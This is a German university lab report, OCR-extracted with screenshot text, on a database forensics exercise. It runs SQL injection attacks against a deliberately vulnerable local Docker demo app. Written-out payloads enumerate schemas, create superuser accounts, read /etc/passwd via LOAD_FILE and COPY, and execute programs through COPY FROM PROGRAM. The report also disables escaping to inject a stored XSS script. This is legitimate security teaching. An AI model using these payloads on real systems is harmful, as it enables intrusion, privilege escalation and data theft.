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Aufgabenstellung
1. Installation der Datenbank-Docker Umgebung von Herrn Hauser

2. Durcharbeitung der SQL-Injektion-Beispiele der Hense-BT anhand zwei unterschiedlicher
Datenbanksysteme in der Datenbank-Docker Umgebung von Herrn Hauser

3. Auswahl zweier Datenbanksysteme fiir die lokale Installation sowie ein Datenbanksystem fiir eine
Cloud-Umgebung. AnschlieBend die Installation einer eigenen Beispiel-Datenbank in den
ausgewahlten Datenbanksystemen.

4. Ausfihrung von jeweils 5 SQL-Injektion-Beispiele in den Datenbanksystemen. Anschlieende
forensische Untersuchung und Aufarbeitung der Vorfalle.

5. Auswahl eines Fachbegriffes im Bereich Datenbank-Forensik mit anschliefender
Beschreibung/Definition fir das Forensik Wiki der Hochschule Wismar.
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1. Vorbereitung

1. Vorbereitung

Uber die WINGS-Plattform unter Module -> Datenbanken II: Forensik in DBS -> Literatur /
Zusatzdokumente wurde das ZIP-Archiv mit der Bezeichnung “SQL Injection-Docker-VM von Herrn
Hauser” heruntergeladen und entpackt.

Im Unterordner Docker VM -> SQL-Injection Demo v.1.0 - Docker befindet sich die zu installierende
Docker-Umgebung von Herrn Hauser.

Fiir die Inbetriebnahme der Docker-Umgebung wurde das Programm Docker Desktop flir Windows
heruntergeladen und installiert.

Nach der erfolgreichen Installation von Docker Desktop muss das Programm gestartet werden.
Zum Start des Programms sind keine Docker-Umgebungen installiert.

*’docker - Q # o Signin
&3 Containers / Apps

< Images

Volumes

@ Dev Environments (I

L
No containers running

Try running a container: Copy and paste this command into your terminal and then come back

getting-started

Explore more in the Docker Docs
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Um Daten in der PostgreSQL-Datenbank verdandern zu kdnnen, muss die Datei app.py angepasst
werden. Dafiir wird in Zeile 10 folgender Zusatz eingefiigt: isolation_level="AUTOCOMMIT"

Far

current_db = 'mysgl

mysql_engine = sqglalchemy.create_engine ('mysgl+mysglconnector: root:root@mysgl/kemper')
mysql_session = scoped session(sessionmaker (bind=mysgl_engine))
postgres_engine = sglalchemy.create_engine('postgresgl: postgres:root@postgres:5432/kemper’, isolation level="AUTOCOMMIT")

postgres_session = scoped . sesslﬂﬁtsesslnmakertk:l'md‘pnst.gres _engine))

die Installation muss die Eingabeaufforderung in Windows gestartet und in den zuvor

heruntergeladenen Ordner der Hauser Docker-Umgebung navigiert werden.

Fiir den Import der Hauser-VM wird folgendes Kommando verwendet:

docker-compose -f docker-compose.yaml up

Nachdem die Umgebung installiert wurde, kann lber das Programm Docker Desktop der Container
angesprochen werden:
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*dOCkQI.' - 'a' 2?4‘ o Signin

& Containers / Apps Q, search Sort by v
& Images sglinjectiondemaov10-docker

RUNMING
& Volumes

sglinjectiondemov10-docker-postgres-1 postgres:12
RUNMING

@ Dev Environments (e

sglinjectiondemov10-docker-adminer-1 adminer
RUNMNING PORT: 2080

sglinjectiondemov10-docker-app-1 sglinjectiondem...
RUNMNING PORT: 80

sglinjectiondemov10-docker-mysgl-1 mysgl:2
RUNNING

Die Docker VM von Herrn Hauser wurde erfolgreich importiert und kann nun Gber den localhost bzw.
Uber die IP-Adresse 127.0.0.1 gestartet werden. Der Zugriff auf das Tool Adminer kann entweder Gber
eine Verlinkung im Programm Docker Desktop erfolgen oder (iber die IP-Adresse 127.0.0.1:8080.

Es folgt die Startseite sowie die Ansicht der HTML-Datei vorlesungen.html.

Startseite der Docker-VM von Herrn Hauser:

a0 a0 o Pa Ao
SQL Injection Demo v.1.0

Herzlich Willkommen

Diese Demo Applikation basiert auf Python 3.8 und Flask.
Als Infrastruktur wird Docker mit docker-compose genutzt, um die Applikation, sowie ein MySQL und ein PostgreSQL Server zur Verfligung zu stellen.

Es wurde absichtlich auf ein ORM verzichtet und RAW SQL genutzt, um SQL Injections zu ermdglichen.

Bei Fragen:

Nicolas Hauser
n.gemsjaeger@stud.hs-wismar.de

Unterseite Vorlesungen der Docker-VM von Herrn Hauser:
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4 C 0 @ 127.00.1/vorlesungen

% @ (Fen

SQL Injection Demo

Vorlesungen

Vorlesungsname
Vorlesungsnummer
5216

5259

4630

5043

5041

5022

5001

4052

5049

5052

Titel

Bioethik

Der Wiener Kreis
Die 3 Kritiken
Erkenntnisthecrie
Ethik

Glaube und Wissen
Grundzuege

Logik

Maeeutik

Wissenschaftstheorie

Professor

Russel

Popper

Kant

Russel

Sokrates

Augustinus

Kant

Sokrates

Sokrates

Russel

SWs
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2. SQL-Injektion anhand der Bachelor-Thesis

Die fuinf zu betrachtenden Ziele von SQL-Injection Angriffen sind:

- Ausspdhen von Daten

- Verandern von Daten

- Anderungen am Datenbanksystem
- Zugriff auf das Filesystem

- Einschleusen von Code

Die folgenden SQL-Injections aus dem Buch und der Hense-BT werden in der Docker Umgebung von
Herrn Hauser fir die beiden DBMS MySQL und PostgreSQL ausgefiihrt.

Die Ausgangslage und den Einfallspunkt bildet somit die Startseite der Docker-Umgebung von Hr.
Hauser. Nach dem Start des Containers wird die Tabelle Vorlesungen angezeigt und im Suchfeld kann

nach dem Vorlesungsnamen gesucht werden:

Vorlesungen

Vorlesungsname

Vorlesungsnummer Titel

5216 Bioethik

5259 Der Wiener Kreis
4630 Die 3 Kritiken

5043 Erkenntnistheorie
5041 Ethik

5022 Glaube und Wissen
5001 Grundzuege

4052 Logik

5049 Maeeutik

5052 Wissenschaftstheorie

Professor

Russel

Popper

Kant

Russel

Sokrates

Augustinus

Kant

Sokrates

Sokrates

Russel

SWs

In folgendem Screenshot kann man erkennen, dass die Suche nach dem Vorlesungsnamen
funktioniert. Flihrt man die Suche bspw. nach dem Namen ,Bio“ aus, so wird die Vorlesung mit dem

Titel ,,Bioethik” angezeigt.

Vorlesungen
Bio
Vorlesungsnummer Titel

5216 Bioethik

Professor

Russel

SWsS

Dies demonstriert nur die Funktionsfahigkeit der Umgebung. Das Suchfeld dient als Einfallstor flr die

nachfolgenden SQLi.



2. SQL-Injektion anhand der Bachelor-Thesis

In-Band-SQLI
OR-Anweisung — MYSQL

Mithilfe eines einfachen Anfiihrungszeichens (‘) und einer OR-Anweisung, ldsst sich die eigentliche
SQL-Abfrage Uberspringen und es werden beliebige Abfragen und Ergebnisse ausgefiihrt und
angezeigt.

Die Suche nach dem Namen ,,Bio” wird um die Klausel * OR ‘1 wie folgt erweitert:

Befehl: Bio OR ‘1

Durch das Anflihrungszeichen ‘ wird die Abfrage nach dem Namen ,,Bio” ibersprungen. Mit dem Zusatz
“OR “1 werden nun alle Eintrdge der Tabelle Vorlesungen angezeigt. Der folgende Screenshot zeigt die

Injection Gber das Suchfeld, also Uber einen POST-Request:
Vorlesungen

Bio' OR "
Vorlesungsnummer Titel Professor SWS

5216 Bicethik Russel 2

5259 Der Wiener Kreis Popper 2

4630 Die 3 Kritiken Kant 4

5043 Erkenntnistheorie Russel 3

5041 Ethik Sokrates 4

5022 Glaube und Wissen Augustinus 2

5001 Grundzuege Kant 4

4052 Logik Sokrates 4

5049 Maeeutik Sokrates 2

5052 Wissenschaftstheorie Russel 3

Wie erwahnt werden nun alle Eintrage der Tabelle Vorlesungen angezeigt.

Dies lasst sich ebenfalls flir einen GET-Request durchfiihren. Hier wird der Angriff Giber die URL
ausgefihrt:

http://127.0.0.1/vorlesungen?search=Bio' OR '1
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127.0.0.1/vorlesungen?search=Bio" OR "1 ¢  Q Suchen

Vorlesungen

Bio' OR "1
Vorlesungsnummer Titel Professor swWs
5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2
4630 Die 3 Kritiken Kant 4
5043 Erkenntnistheorie Russel 3
5041 Ethik Sokrates 4
5022 Glaube und Wissen Augustinus 2
5001 Grundzuege Kant 4
4052 Logik Sokrates 4
5049 Maeeutik Sokrates 2
5052 Wissenschaftstheorie Russel 3

Es werden die gleichen Ergebnisse angezeigt.

Da bereits jetzt bekannt ist, dass die Tabelle Vorlesungen 4 Spalten enthalt, lassen sich mittels dieser
Kenntnis weitere SQL-Abfragen hinzufiigen.

Zum Testen der Syntax sollen die vier Spalten ausgegeben werden:

Befehl: Bio' AND 0 UNION SELECT 1,2,3,4; --

Vorlesungen
Bio' AND 0 UNION SELECT 1,2,3,4; --
Vorlesungsnummer Titel Professor SWs
1 2 3 4

Die Syntax funktioniert und die Datenbank ist anfallig, um weitere SQL-Befehle zu injizieren.

Der folgende UNION-Based Befehl listet das gesamte Tabellenschema mit den zugehdérigen Spalten
auf. (siehe S.28 Hense)

Befehl: Bio' AND O UNION (SELECT table_schema, table_name,column_name,0 FROM
information_schema.columns WHERE table_schema =(SELECT database()) ); --'
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Vorlesungen

Bio' AND 0 UNION (SELECT table_schema, table_name,column_name,0 FROM information_schema.columns WHERE table_schema =(SELECT ¢

Vorlesungsnummer Titel Professor SWs
kemper Assistenten Boss 0
kemper Assistenten Fachgebiet o]
kemper Assistenten Name (0]
kemper Assistenten PersNr 0
kemper Professoren Name (0]
kemper Professaren PersNr o]
kemper Professoren Rang 0
kemper Professoren Raum 0
kemper Studenten MatrNr (0]
kemper Studenten Name o]
kemper Studenten Semester 0
kemper Vorlesungen gelesenVon o]
kemper Vorlesungen SWs (0]
kemper Vorlesungen Titel 0
kemper Vorlesungen VorlNr (0]
kemper hoeren MatrNr o]
kemper hoeren WorlNr (0]
kemper pruefen MatrNr 0
kemper pruefen Note (0]
kemper pruefen PersNr o]
kemper pruefen VorlNr 0
kemper voraussetzen Nachfolger o]
kemper voraussetzen Vorgaenger 0
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2.1 Auslesen der Datenbank-Version

Anhand der gewonnenen Informationen Ildsst sich nun auch die eingesetzte Datenbankversion
auslesen.

2.1.1 MysQL

Bei MySQL kann die Version der Datenbank mit dem Zusatz @ @version ausgelesen werden.

Die Abfrage nach der Version wird mit einer UNION SELECT Abfrage kombiniert. Der Befehl lautet:

Befehl: ' union select @ @version; --

Vorlesungen

* union select @@version; -- Suchen

Die Ausfuhrung fiihrt zunachst zu einer Fehlermeldung, da die Tabelle wie bereits herausgefunden
vier Spalten besitzt. Die Fehlermeldung lautet:

sqglalchemy.exc.DataError

sqlalchenmy.exc.D : (mysql. r.errors.D. ) 1222 (21000): The used SELECT statements have a different number of columns
[SQL: SELECT v.VerlNr, v.Titel, p.Name, v.SWS FROM Vorlesungen v LEFT JOIN Prefesscren p ON v.gelesenVon = p.Persnr WHERE v.Titel LIRE '%' union select @@versicn; --%' ORDER BY v.Titel]
(Background on this error at: http://sglalche.me/e/13/8hSh)

Der Befehl muss somit auf die Ausgabe von vier Spalten erweitert werden:

Befehl: ' union select 1,2,3,@ @version; --

Nach erneuter Ausfiihrung wird nun in der letzten Zeile die Datenbankversion angezeigt:

Vorlesungen

* union select 1,2,3,@@version; --
Vorlesungsnummer Titel Professor sSws
4052 Logik Sokrates 4
4630 Die 3 Kritiken Kant 4
5001 Grundzuege Kant 4
5022 Glaube und Wissen Augustinus 2
5041 Ethik Sokrates 4
5043 Erkenntnistheorie Russel 3
5049 Maeeutik Sokrates 2
5052 Wissenschaftstheorie Russel 3
5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2

1 2 B 8.0.27

Die eingesetzte Version der MySQL-Umgebung ist 8.0.27.
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2.1.2 PostgreSQL

Bei PostgreSQL kann die Datenbankversion direkt ausgelesen werden. PostgreSQL bietet hierfiir den
Befehl version() an.

Die Versionsnummer kann somit wie folgt ausgelesen werden:

Befehl: '; SELECT VERSION(); --

Vorlesungen

', SELECT VERSION(); -

Vorlesungsnummer Titel Professor SWS

PostgreSQL 12.9 (Debian 12.9-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110,
64-bit

PostgreSQL wird in der Version 12.9 eingesetzt.

10
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2.2 Ausspahen von Daten

Ein erster Angriffspunkt bildet die Informationsbeschaffung. Hierbei wird versucht die in der
Datenbank gespeicherten Daten auszulesen, um so Informationen Uber den Aufbau und die
Beschaffenheit dieser zu gewinnen. Aufbauend auf diesen Erkenntnissen kénnen die weiteren Schritte
geplant werden.

2.2.1 MysQL

Zu Beginn sollen alle Datenbanken aufgelistet werden.

Unter MySQL sind diese Daten in der Datenbank information_schema gespeichert. Diese Datenbank
wird nun mit folgendem Befehl abgefragt:

Befehl: ' AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata;

Vorlesungen

* AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata;
Vorlesungsnummer Titel Professor SWS

mysq| 0 0 0
information_schema 0 0 0
performance_schema 0 0 0

sys 0 0 0

kemper 0 0 0

Im Weiteren werden die Daten der Datenbank ,,kemper” ausgespaht. Hier sollen zunachst alle
Tabellennamen angezeigt werden:

Befehl: ' AND O UNION SELECT 1,2,table_schema,table_name FROM information_schema.tables
WHERE table_schema = 'kemper’;

Vorlesungen
* AND 0 UNION SELECT 1,2,table_schema,table_name FROM information_schema.tables WHERE table_schema = ‘kemper’;
Vorlesungsnummer Titel Professor SWS
1 2 kemper Assistenten
1 2 kemper Professoren
1 2 kemper Studenten
1 2 kemper Verlesungen
1 2 kemper hoeren
1 2 kemper pruefen
1 2 kemper voraussetzen
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Nachdem die Tabellennamen bekannt sind, kdnnen nun die Spaltennamen der Tabellen ausgelesen
werden:

Befehl: ' AND O UNION SELECT 1,table_schema, table_name, column_name FROM
information_schema.columns WHERE table_schema = 'kemper’;

Vorlesungen
"AND 0 UNION SELECT 1,table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema = 'kemper’;
Vorlesungsnummer Titel Professor SWS
1 kemper Assistenten PersNr
1 kemper Assistenten Name
1 kemper Assistenten Fachgebiet
1 kemper Assistenten Boss
1 kemper Professoren PersNr
1 kemper Professoren Name
1 kemper Professoren Rang
1 kemper Professoren Raum
1 kemper Studenten MatrNr
1 kemper Studenten Name
1 kemper Studenten Semester
1 kemper Vorlesungen VorlNr
1 kemper Vorlesungen Titel
1 kemper Vorlesungen SWs
1 kemper Vorlesungen gelesenVon
1 kemper hoeren MatrNr
1 kemper hoeren VorlNr
1 kemper pruefen MatrNr
1 kemper pruefen VorlNr
1 kemper pruefen PersNr
1 kemper pruefen Note
1 kemper voraussetzen Viorgaenger
1 kemper voraussetzen Nachfolger

12
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Zuletzt konnen die gespeicherten Inhalte der Tabellen ausgelesen werden:

Befehl: ' AND O UNION SELECT PersNr,Name,Fachgebiet,Boss FROM kemper.Assistenten;

Vorlesungen
" AND 0 UNION SELECT PersNr,Name,Fachgebiet,Boss FROM kemper.Assistenten;
Vorlesungsnummer Titel Professor SWS
3002 Platon Ideenlehre 2125
3003 Aristoteles Syllogistik 2125
3004 Wittgenstein Sprachtheorie 2126
3005 Rhetikus Planetenbewegung 2127
3006 Newton Keplersche Gesetze 2127
3007 Spinoza Gott und Natur 2134

2.2.2 PostgreSQL

Auflisten aller vorhandenen Datenbanken:

Befehl: '; SELECT datname FROM pg_database; --

Vorlesungen

*; SELECT datname FROM pg_database; —-

Vorlesungsnummer Titel Professor SWs
postgres

kemper

template1

template0

Tabellennamen anzeigen:

Befehl: '; SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON
n.oid = c.relnamespace WHERE c.relkind IN ('r',") AND n.nspname NOT IN ('pg_catalog', 'pg_toast')
AND pg_catalog.pg_table_is_visible(c.oid); --

13



2. SQL-Injektion anhand der Bachelor-Thesis

Vorlesungen

" SELECT c.relname FROM pg_catalog.pg_class ¢ LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (r,’

Vorlesungsnummer
professoren
assistenten
vorlesungen
studenten

hoeren

voraussetzen

pruefen

Spaltennamen anzeigen:

Titel Professor SWs

Befehl: '; SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T
WHERE (C.relkind="r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid)
AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public'); --

Vorlesungen

" SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind="r") AND (N.oid=C.relnamesg

Vorlesungsnummer

professoren

professoren

professoren

professoren

assistenten

assistenten

assistenten

assistenten

vorlesungen

vorlesungen

vorlesungen

vorlesungen

studenten

studenten

studenten

hoeren

hoeren

voraussetzen

voraussetzen

pruefen

pruefen

pruefen

pruefen

Titel Professor SWs

persnr

name

rang

raum

persnr

name

fachgebiet

bess

vorlnr

titel

SWs

gelesenvon

matrnr

name

semester

matrnr

vorlnr

vorgaenger

nachfolger

matrnr

vorlnr

persnr

note

14
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Inhalte auslesen:

Befehl: '; SELECT PersNr,Name,Fachgebiet,Boss FROM assistenten; --

Vorlesungen
'; SELECT PersNr,Name,Fachgebiet,Boss FROM assistenten; --
Vorlesungsnummer Titel Professor SWs
3002 Platon Ideenlehre 2125
3003 Aristoteles Syllogistik 2125
3004 Wittgenstein Sprachtheorie 2126
3005 Rhetikus Planetenbewegung 2127
3006 Newton Keplersche Gesetze 2127
3007 Spinoza Gott und Natur 2134
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2. SQL-Injektion anhand der Bachelor-Thesis

2.3 Veranderung von Daten

Nachdem die Daten eingesehen werden konnten, kann nun versucht werden bestehende Daten zu
verandern bzw. neue Daten hinzuzufiigen.

2.3.1 MysQL

Es soll eine neue Datenbank mit dem Namen , test” erstellt werden:

Befehl: '; CREATE DATABASE test;

Vorlesungen

"; CREATE DATABASE test;

Vorlesungen

" AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata;
Vorlesungsnummer Titel Professor SWs

mysql 0] 0 0
information_schema 1] 1] 0
performance_schema 0] 0 0

sys 0 0 0

kemper 0 0 0

test 0 0 0

Die neue Datenbank ,test” wurde erfolgreich erstellt.

Innerhalb der neuen Datenbank kann nun eine neue Tabelle ,user” und die Spalte ,,id“ vom Typ Integer
erstellt werden:

Befehl: '; CREATE TABLE “test’.’user” ('id" INT(10))ENGINE= MYISAM; --

Befehl: ' UNION SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM
information_schema.columns WHERE TABLE_SCHEMA = "test" AND TABLE_NAME = "user"; --
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Professor

Sokrates

Kant

Kant

Augustinus

Sokrates

Russel

Sokrates

Russel

Russel

Popper

SwWs

b4

b'4

b4

b2

b4

b3

b2

b3

b2

b2

Vorlesungen
" UNION SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM information_schema.columns WHERE TABLE_SCHEMA =
Vorlesungsnummer Titel
4052 Logik
4630 Die 3 Kritiken
5001 Grundzuege
5022 Glaube und Wissen
5041 Ethik
5043 Erkenntnistheorie
5049 Maeeutik
5052 Wissenschaftstheorie
5216 Bioethik
5259 Der Wiener Kreis
test user

id

b'int’

Die Datenbank ,test” mit der Tabelle ,,user” und der Spalte ,,id“ wurde erfolgreich erstellt.

Nachdem die Struktur erstellt wurde, kdnnen nun Daten der Tabelle hinzugefligt werden:

Befehl: '; INSERT INTO “test"."user” (‘id")VALUES (123); --

Vorlesungen

* INSERT INTO “test”"user’ ('id")VALUES (123); --

Befehl: asd' UNION SELECT id,2,3,4 FROM test.user; --

Vorlesungen
asd' UNION SELECT id,2,3,4 FROM test.user; --
Vorlesungsnummer Titel Professor
123 2 3
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2.3.2 PostgreSQL

Da bei PostgreSQL Befehle nicht in Multiqueryanweisungen ausgefiihrt werden, kénnen
Datenbanken nicht direkt angelegt werden.

Eine neue Datenbank kann wie folgt angelegt werden:

Befehl: '; DROP TABLE IF EXISTS hilfstabelle; CREATE TABLE hilfstabelle(t text); COPY hilfstabelle
FROM PROGRAM 'psql -c "CREATE DATABASE testdb"'; SELECT * FROM hilfstabelle; --'

Die bestehenden Datenbanken kdnnen dann wie folgt angezeigt werden:

Befehl: '; SELECT datname FROM pg_database; --

Vorlesungsnummer Titel Professor SWs

postgres

kemper

template1

template0

testdb

Die Datenbank ,testdb” wurde erfolgreich erstellt.

Uber die gleiche Vorgehensweise kénnen Datenbanken auch geléscht werden:

Befehl: '; DROP TABLE IF EXISTS hilfstabelle; CREATE TABLE hilfstabelle(t text); COPY hilfstabelle
FROM PROGRAM 'psql -c "DROP DATABASE testdb"'; SELECT * FROM hilfstabelle; --'

Vorlesungen

' SELECT datname FROM pg_database; --

'; SELECT datname FROM pg_database; --

Vorlesungsnummer Titel Professor SWS
postgres

kemper

template

template0

Die Datenbank ,testdb” konnte so wieder geléscht werden.
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2.4 Datenbank-Server verdandern

Ein weiteres Angriffsziel stellt die Veranderung des Datenbank-Servers dar. Hierbei versucht ein
Angreifer sich mithilfe von SQL-Befehlen umfangreiche Berechtigungen auf dem Server selbst zu
verschaffen. Zunachst kann ermittelt werden in welchem Benutzerkontext man angemeldet ist. Im
Weiteren kann versucht werden die bestehende Benutzerverwaltung so zu verandern, dass ein neuer
Benutzer mit Superuser-Rechten erstellt wird. Ferner kdnnen auch bestehende Benutzerkonten
verandert oder gar geldscht werden.

2.4.1 MysQL

Um den Datenbank-Server verandern zu kénnen, miissen entsprechende Berechtigungen vorhanden
sein. Mit dem folgenden Befehl kann zunachst der aktuelle Benutzer ermittelt werden:

Befehl: asd ' UNION SELECT 1, 2, 3, CURRENT_USER(); --

Vorlesungen
asd " UNION SELECT 1, 2, 3, CURRENT_USER(); --
Vorlesungsnummer Titel Professor SWs

1 2 3 root@%

Der aktuelle Benutzer ist ,,root@%"

Neuen Benutzer mit Superuser-Berechtigungen anlegen:

Befehl: '; CREATE USER 'hacker'@'%' IDENTIFIED BY 'hacked'; GRANT ALL PRIVILEGES ON *.* TO
'hacker'@'%'; FLUSH PRIVILEGES; --

Vorlesungen

'; CREATE USER ‘hacker'@'%’ IDENTIFIED BY "hacked’; GRANT ALL PRIVILEGES ON ** TO *hacker'@%"; FLUSH PRIVILEGES; --

Befehl: asd' UNION SELECT user, 2, 3, 4 FROM mysql.user; --
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Vorlesungen

asd’ UNION SELECT user, 2, 3, 4 FROM mysql.user; --

Vorlesungsnummer Titel Professor SWs
hacker 2 3 4
root 2 3 4
mysql.infoschema 2 3 4
mysql.session 2 3 4
mysql.sys 2 3 4

Der Benutzer ,hacker” wurde erfolgreich erstellt.

Benutzer l6schen:

Befehl: '; DELETE FROM “mysql’."user’ WHERE ‘User ='hacker'; FLUSH PRIVILEGES; --

Vorlesungen

' DELETE FROM ‘mysqgl”.'user’ WHERE "User ="hacker’; FLUSH PRIVILEGES;
Vorlesungen

asd’ UNION SELECT user, 2, 3, 4 FROM mysgl.user; --
Vorlesungsnummer Titel Professor SWs

root 2 e 4

mysql.infoschema 2 3 4

mysql.session 2 3 4

mysql.sys 2 3 4

Der Benutzer ,hacker” wurde wieder erfolgreich gel6scht.
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2.4.2 PostgreSQL

Unter PostgreSQL kann ein neuer Benutzer mit Superuser-Rechten wie folgt erstellt werden:

Befehl: CREATE ROLE hacker WITH SUPERUSER; ALTER ROLE hacker WITH LOGIN; ALTER ROLE hacker
WITH PASSWORD 'p'; --

Patienten

'; CREATE ROLE hacker WITH SUPERUSER; ALTER ROLE hacker WITH LOGIN; ALTER ROLE hacker WITH PASSWORD 'p; --

Die existierenden Datenbankbenutzer kénnen wie folgt ermittelt werden:

Befehl: '; SELECT usename, usesuper FROM pg_user; --

Patienten
*; SELECT usename, usesuper FROM pg_user; --
Nachname Vorname Geburtsdatum Krankenkasse
postgres True
hacker True

Der Benutzer ,hacker” konnte erfolgreich erstellt werden.

Benutzer kdnnen ebenfalls wieder geléscht werden:

Befehl: '; DROP USER hacker; --

*; SELECT usename, usesuper FROM pg_user; --
Nachname Vorname Geburtsdatum Krankenkasse
postgres True

Der Benutzer konnte so wieder entfernt werden.
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2.5 Zugriff auf das Filesystem

Gelingt es einem Angreifer Zugriff auf das Filesystem zu erlangen, kdnnen dariiber weitere
Angriffsszenarien ausgefihrt werden. Insbesondere der Dateizugriff, so wie das Einsehen und
Kopieren von Daten sind hierbei von Bedeutung.

2.5.1 MysQL

Unter MySQL kann die Datei mit folgendem Befehl geladen werden:

Befehl: UNION SELECT LOAD_FILE('/etc/passwd'), 0,0,0;-- .

Die Ausfuhrung gibt nur den Wert None zuriick und fiihrt somit zu folgender Ausgabe:

Vorlesungen
Bio' UNION SELECT LOAD_FILE('/etc/passwd’), 0,0,0;-- ./
Vorlesungsnummer Titel Professor SWS
None 0 0 0

Damit eine Riickgabe der Datei ausgegeben werden kann, muss die Datei docker-compose.yaml wie
folgt angepasst werden:

13 [3 mysql:

14 image: mysql:8

15 command: --default-authentication-plugin=mysql native p d e-file-prive=""
16 restart: on-failure

1 & environment:

18 MYSQL ROOT_PASSWORD: root

19 - MYSQL_DATABASE: kemper

20 [ volumes:

21 - mysql-data:/var/lib/mysql

22 - ./sql/kemper_mysql.sql:/docker-entrypoint-initdb.d/kemper.sql

Nach einem Neustart des Containers und der erneuten Abfrage wird nun der Inhalt der Datei
»passwd” angezeigt:

Befehl: asd ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd');--

Vorlesungen
asd " UNION SELECT 1, 2, 3, LOAD_FILE( /etc/passwd');--

Vorlesungsnummer Titel Professor SWS

1 2 3 b'rootx0:0:root/root:/bin/bash\ndaemon:x:1:1:daeman:/usr/sbin:/usr/sbin/nolegin\nbin:x:2:2:bin:/bin:/usr
/sbin/nologin\nsys::3:3:sys:/dev:/usr/sbin/nologin\nsync:e4:65534:sync/bin:/bin/sync\ngames:x:5:60:games:
/fusr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x7:7:lp:/var/spool
/lpd:/usr/sbin/nolegin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spoocl/news:
fusr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr
/sbin/nologim\nwww-data::33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:
fvar/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:
Mvar/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/shin
/nologin\nnobody:x:65534:65534:nobedy:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534:/nonexistent:
Jusr/sbin/nologin\nmysql:x:999:999::/home/mysql:/bin/sh\n’
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2.5.2 PostgreSQL

Der Dateizugriff wird bei PostgreSQL lber den COPY-Befehl realisiert. Als Datenquelle werden nur
Dateien und Tabellen akzeptiert, weshalb hier mit Hilfstabellen gearbeitet werden muss.

Ein Lesezugriff auf das Dateisystem ist wie folgt moglich:

Befehl: '; select * from pg_Is_dir("."); --

Vorlesungen

' select * from pg_ls_dir(".); --

Vorlesungsnummer Titel Professor SWS
pg_subtrans
pg_serial
postmaster.pid
pg_stat
pg_stat_tmp
postmaster.opts
pg_snapshots
pg_twophase
PG_VERSION
pg_replslot
pg_hba.conf
base

pg_multixact

Um bspw. die Datei ,,passwd” zu kopieren, wird zunachst eine Hilfstabelle beno6tigt und angelegt, in
diese dann die Daten kopiert werden. AnschlieRend wird die Tabelle ausgegeben:

Befehl: CREATE TABLE mydata(mydata text); COPY mydata FROM ‘/etc/passwd’; SELECT * FROM
mydata; ; --.’
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'; CREATE TABLE mydata(mydata text); COPY mydata FROM ‘/etc/passwd’; SELECT * FROM mydata; ; -’
' CREATE TABLE mydata(mydata text); COPY mydata FROM ‘/etc/passwd’; SELECT * FROM mydata; ; --.'
Vorlesungsnummer Titel Professor SWs

root:x:0:0:root:/root:/bin/bash
daemon:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sysx:3:3:sys:/dev:/usr/sbin/nologin
syncx:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
manx:6:12:man:/var/cache/man:/usr/sbin/nologin
|pze7:7:pz/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nolegin
news:x:2:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbhin/nologin

Die Tabelle wurde erfolgreich erstellt und der Inhalt der Datei ,passwd”“ konnte so kopiert und
eingesehen werden.
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2.6 Einschleusen beliebigen Codes

Mit dem Einschleusen von Programmcode kann der Angreifer gezielte Angriffe auf ein System oder
Anwendung durchfiihren. Die Ausfiihrung von unerwiinschten Programmcode kann fiir ein System,
Anwender oder eine DBMS schwerwiegende Folgen haben.

Die Docker-Umgebung von Herrn Hauser ist so aufgebaut, dass die Anwendung und Datenbank
voneinander getrennt funktionieren. Entsprechend ist das Einschleusen von Programmcode nicht
weiter moglich. Zeichen wie Anfliihrungszeichen (,, ,,) oder eckige Klammer ([ ]) werden durch das flask-
Modul render_template() automatisch escaped. Um die Mdglichkeit jedoch zu erhalten, muss eine
Cross Site Scripting-Attacke durchgefiihrt werden — Hierfiir wird die HTML-Datei vorlesungen.html um
den Baustein {{ search|safe }} in Zeile 6 erweitert.

Damit wird das , Autoescaping” fiir diesen Abschnitt deaktiviert und die Suchfunktion in der
Anwendung kann  flir das Einschleusen von  Programmcode genutzt  werden.

tn

{% block page content %}

& {{ search|safe }}
=l <form method="get" action="/vorlesungen'>

g [ <div class="form-row">

s [ <div class="col-11">
10 <input name="search" value="{{ search }}" type="text" class="form-control" placeholder="Vorlesungsname">
11 </fdivz>
12 = <div class="col">
13 <button type="submit" class="btn btn-primary">Suchen</button>
14 <fdivs
15 <fdive
16 </ form>

2.6.1 MysQL

q @ 0 @ 127.004/vorlesungen P A P

SQL Injection Demo v.1.0

Vorlesungen
" INSERT INTO Vorlesungen VALUES (1,"<script=>alert("Achtung, wir haben jetzt die Macht!")</script=>"3, 4); --
Vorlesungsnummer Titel Professor SWs
